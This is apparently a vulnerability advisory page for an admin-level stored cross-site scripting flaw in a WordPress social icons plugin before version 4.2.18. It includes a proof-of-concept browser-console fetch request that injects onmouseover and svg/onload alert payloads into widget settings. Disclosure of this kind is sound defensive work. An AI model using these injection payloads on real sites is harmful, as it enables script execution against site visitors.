Lucene search

K
wpvulndbDmitrii IgnatyevWPVDB-ID:B8661FBE-78B9-4D29-90BF-5B68AF468EB6
HistoryApr 30, 2024 - 12:00 a.m.

Social Icons Widget & Block < 4.2.18 - Admin+ Stored XSS

2024-04-3000:00:00
Dmitrii Ignatyev
wpscan.com
2
plugin vulnerability xss admin privilege poc update date

5.4 Medium

AI Score

Confidence

High

Description The plugin does not sanitise and escape some of its Widget settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

PoC

1. As an administrator, visit /wp-admin/widgets.php and add a Social Icons from WPZoom Widget 2. Open your browser’s console, and paste the following command: await fetch(“/wp-admin/admin-ajax.php”, { “credentials”: “include”, “headers”: { “Content-Type”: “application/x-www-form-urlencoded; charset=UTF-8”, }, “body”: widget-zoom-social-icons-widget%5B2%5D%5Btitle%5D=Follow+us&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bdescription%5D=asdasd&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bopen_new_tab%5D=true&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_alignment%5D=none&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_style%5D=with-canvas&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_canvas_style%5D=round&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_padding_size%5D=8&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_font_size%5D=18&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bglobal_color_picker%5D=%231e73be&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bglobal_color_picker_hover%5D=%231e73be&amp;widget-zoom-social-icons-widget;%5B2%5D%5Burl_fields%5D%5B%5D=https%3A%2F%2Ffacebook.com%2F&amp;widget-zoom-social-icons-widget;%5B2%5D%5Blabel_fields%5D%5B%5D=Facebook&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_fields%5D%5B%5D=123%22%20onmouseover=%27alert(/XSS/)%27&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_hover_fields%5D%5B%5D=%230866FF&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_fields%5D%5B%5D=facebook&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_kit_fields%5D%5B%5D=socicon&amp;widget-zoom-social-icons-widget;%5B2%5D%5Baria_label_fields%5D%5B%5D=%27%20%3e%3csvg/onload=alert(123)//%3e&amp;widget-zoom-social-icons-widget;%5B2%5D%5Burl_fields%5D%5B%5D=https%3A%2F%2Fx.com%2F&amp;widget-zoom-social-icons-widget;%5B2%5D%5Blabel_fields%5D%5B%5D=X&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_fields%5D%5B%5D=%23000000&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_hover_fields%5D%5B%5D=%23000000&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_fields%5D%5B%5D=x&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_kit_fields%5D%5B%5D=socicon&amp;widget-zoom-social-icons-widget;%5B2%5D%5Baria_label_fields%5D%5B%5D=&amp;widget-zoom-social-icons-widget;%5B2%5D%5Burl_fields%5D%5B%5D=https%3A%2F%2Finstagram.com%2F&amp;widget-zoom-social-icons-widget;%5B2%5D%5Blabel_fields%5D%5B%5D=Instagram&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_fields%5D%5B%5D=%23e4405f&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bcolor_picker_hover_fields%5D%5B%5D=%23e4405f&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_fields%5D%5B%5D=instagram&amp;widget-zoom-social-icons-widget;%5B2%5D%5Bicon_kit_fields%5D%5B%5D=socicon&amp;widget-zoom-social-icons-widget;%5B2%5D%5Baria_label_fields%5D%5B%5D=&amp;widget-id;=zoom-social-icons-widget-2&amp;id;_base=zoom-social-icons-widget&amp;widget-width;=250&amp;widget-height;=200&amp;widget;_number=-1&amp;multi;_number=2&amp;add;_new=&amp;action;=save-widget&amp;savewidgets;=${_wpnonce_widgets.value}&amp;sidebar;=sidebar-1, “method”: “POST”, “mode”: “cors” }); 3. Visit the site’s homepage, and notice our test alert boxes are executing.

CPENameOperatorVersion
eq4.2.18

5.4 Medium

AI Score

Confidence

High

Related for WPVDB-ID:B8661FBE-78B9-4D29-90BF-5B68AF468EB6